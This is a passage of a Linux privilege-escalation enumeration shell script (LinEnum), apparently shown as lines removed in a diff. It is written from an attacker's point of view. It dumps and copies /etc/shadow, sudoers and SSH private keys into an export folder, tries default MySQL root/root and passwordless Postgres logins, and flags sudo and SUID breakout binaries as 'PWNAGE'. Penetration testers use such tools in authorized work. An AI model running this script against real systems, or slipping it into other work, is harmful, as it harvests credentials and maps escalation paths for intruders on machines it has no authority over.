Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null - -echo "Debug Info" |tee -a $report 2>/dev/null - -if [ "$keyword" ]; then - echo "keyword = $keyword" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$report" ]; then - echo "report name = $report" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ]; then - echo "export location = $export" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$thorough" ]; then - echo "thorough tests = enabled" |tee -a $report 2>/dev/null -else - echo "thorough tests = disabled" |tee -a $report 2>/dev/null -fi - -sleep 2 - -if [ "$export" ]; then - mkdir $export 2>/dev/null - format=$export/LinEnum-export-`date +"%d-%m-%y"` - mkdir $format 2>/dev/null -else - : -fi - -who=`whoami` 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null -echo -e "\e[00m\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null - -#basic kernel info -unameinfo=`uname -a 2>/dev/null` -if [ "$unameinfo" ]; then - echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -procver=`cat /proc/version 2>/dev/null` -if [ "$procver" ]; then - echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#search all *-release files for version info -release=`cat /etc/*-release 2>/dev/null` -if [ "$release" ]; then - echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#target hostname info -hostnamed=`hostname 2>/dev/null` -if [ "$hostnamed" ]; then - echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null - -#current user details -currusr=`id 2>/dev/null` -if [ "$currusr" ]; then - echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#last logged on user information -lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` -if [ "$lastlogedonusrs" ]; then - echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - - -#who else is logged on -loggedonusrs=`w 2>/dev/null` -if [ "$loggedonusrs" ]; then - echo -e "\e[00;31mWho else is logged on:\e[00m\n$loggedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists all id's and respective group(s) -grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` -if [ "$grpinfo" ]; then - echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) -hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` -if [ "$hashesinpasswd" ]; then - echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#locate custom user accounts with some 'known default' uids -readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` -if [ "$readpasswd" ]; then - echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/passwd $format/etc-export/passwd 2>/dev/null -else - : -fi - -#checks to see if the shadow file can be read -readshadow=`cat /etc/shadow 2>/dev/null` -if [ "$readshadow" ]; then - echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readshadow" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/shadow $format/etc-export/shadow 2>/dev/null -else - : -fi - -#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant -readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` -if [ "$readmasterpasswd" ]; then - echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmasterpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null -else - : -fi - -#all root accounts (uid 0) -echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#pull out vital sudoers info -sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$' 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$sudoers" ]; then - echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$sudoers" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null -else - : -fi - -#can we sudo without supplying a password -sudoperms=`echo '' | sudo -S -l 2>/dev/null` -if [ "$sudoperms" ]; then - echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#known 'good' breakout binaries -sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` -if [ "$sudopwnage" ]; then - echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if roots home directory is accessible -rthmdir=`ls -ahl /root/ 2>/dev/null` -if [ "$rthmdir" ]; then - echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#displays /home directory permissions - check if any are lax -homedirperms=`ls -ahl /home/ 2>/dev/null` -if [ "$homedirperms" ]; then - echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#looks for files we can write to that don't belong to us -if [ "$thorough" = "1" ]; then - grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` - if [ "$grfilesall" ]; then - echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi -fi - -#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` - if [ "$wrfileshm" ]; then - echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wrfileshm" ]; then - mkdir $format/wr-files/ 2>/dev/null - for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null - else - : - fi - else - : -fi - -#lists current user's home directory contents -if [ "$thorough" = "1" ]; then -homedircontents=`ls -ahl ~ 2>/dev/null` - if [ "$homedircontents" ] ; then - echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` - if [ "$sshfiles" ]; then - echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$sshfiles" ]; then - mkdir $format/ssh-files/ 2>/dev/null - for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#is root permitted to login via ssh -sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` -if [ "$sshrootlogin" = "yes" ]; then - echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null - -#env information -envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` -if [ "$envinfo" ]; then - echo -e "\e[00;31m Environment information:\e[00m\n$envinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current path configuration -pathinfo=`echo $PATH 2>/dev/null` -if [ "$pathinfo" ]; then - echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists available shells -shellinfo=`cat /etc/shells 2>/dev/null` -if [ "$shellinfo" ]; then - echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#current umask value with both octal and symbolic output -umask=`umask -S 2>/dev/null & umask 2>/dev/null` -if [ "$umask" ]; then - echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#umask value as in /etc/login.defs -umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$umaskdef" ]; then - echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#password policy information as stored in /etc/login.defs -logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` -if [ "$logindefs" ]; then - echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$logindefs" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null - -#are there any cron jobs configured -cronjobs=`ls -la /etc/cron* 2>/dev/null` -if [ "$cronjobs" ]; then - echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we manipulate these jobs in any way -cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$cronjobwwperms" ]; then - echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#contab contents -crontab=`cat /etc/crontab 2>/dev/null` -if [ "$crontab" ]; then - echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` -if [ "$crontabvar" ]; then - echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` -if [ "$anacronjobs" ]; then - echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -anacrontab=`ls -la /var/spool/anacron 2>/dev/null` -if [ "$anacrontab" ]; then - echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) -cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` -if [ "$cronother" ]; then - echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null - -#nic information -nicinfo=`/sbin/ifconfig -a 2>/dev/null` -if [ "$nicinfo" ]; then - echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -arpinfo=`arp -a 2>/dev/null` -if [ "$arpinfo" ]; then - echo -e "\e[00;31mARP history:\e[00m\n$arpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#dns settings -nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` -if [ "$nsinfo" ]; then - echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#default route configuration -defroute=`route 2>/dev/null | grep default` -if [ "$defroute" ]; then - echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening TCP -tcpservs=`netstat -antp 2>/dev/null` -if [ "$tcpservs" ]; then - echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#listening UDP -udpservs=`netstat -anup 2>/dev/null` -if [ "$udpservs" ]; then - echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null - -#running processes -psaux=`ps aux 2>/dev/null` -if [ "$psaux" ]; then - echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lookup process binary path and permissisons -procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` -if [ "$procperm" ]; then - echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$procperm" ]; then -procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` - mkdir $format/ps-export/ 2>/dev/null - for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null -else - : -fi - -#anything 'useful' in inetd.conf -inetdread=`cat /etc/inetd.conf 2>/dev/null` -if [ "$inetdread" ]; then - echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$inetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each -inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$inetdbinperms" ]; then - echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -xinetdread=`cat /etc/xinetd.conf 2>/dev/null` -if [ "$xinetdread" ]; then - echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$xinetdread" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null -else - : -fi - -xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` -if [ "$xinetdincd" ]; then - echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each -xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` -if [ "$xinetdbinperms" ]; then - echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -initdread=`ls -la /etc/init.d 2>/dev/null` -if [ "$initdread" ]; then - echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$initdperms" ]; then - echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` -if [ "$rcdread" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#init.d files NOT belonging to root! -rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$rcdperms" ]; then - echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` -if [ "$usrrcdread" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#rc.d files NOT belonging to root! -usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` -if [ "$usrrcdperms" ]; then - echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null - -#sudo version - check to see if there are any known vulnerabilities with this -sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` -if [ "$sudover" ]; then - echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql details - if installed -mysqlver=`mysql --version 2>/dev/null` -if [ "$mysqlver" ]; then - echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if root/root will get us a connection -mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` -if [ "$mysqlconnect" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#mysql version details -mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` -if [ "$mysqlconnectnopass" ]; then - echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#postgres details - if installed -postgver=`psql -V 2>/dev/null` -if [ "$postgver" ]; then - echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this -postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon1" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon11" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon2" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` -if [ "$postcon22" ]; then - echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#apache details - if installed -apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` -if [ "$apachever" ]; then - echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#what account is apache running under -apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` -if [ "$apacheusr" ]; then - echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$apacheusr" ]; then - mkdir --parents $format/etc-export/apache2/ 2>/dev/null - cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null -else - : -fi - -#installed apache modules -apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` -if [ "$apachemodules" ]; then - echo -e "\e[00;31mInstalled Apache modules:\e[00m\n$apachemodules" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#anything in the default http home dirs -apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` -if [ "$apachehomedirs" ]; then - echo -e "\e[00;31mAnything in the Apache home dirs?:\e[00m\n$apachehomedirs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null - -#checks to see if various files are installed -echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#limited search for installed compilers -compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` -if [ "$compiler" ]; then - echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -#manual check - lists out sensitive files, can we read/modify etc. -echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) -if [ "$thorough" = "1" ]; then -findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findsuid" ]; then - echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findsuid" ]; then - mkdir $format/suid-files/ 2>/dev/null - for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#list of 'interesting' suid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'emacs'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intsuid" ]; then - echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists word-writable suid files -if [ "$thorough" = "1" ]; then -wwsuid=`find / -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuid" ]; then - echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable suid files owned by root -if [ "$thorough" = "1" ]; then -wwsuidrt=`find / -uid 0 -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwsuidrt" ]; then - echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) -if [ "$thorough" = "1" ]; then -findguid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$findguid" ]; then - echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$findguid" ]; then - mkdir $format/guid-files/ 2>/dev/null - for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null - else - : - fi - else - : 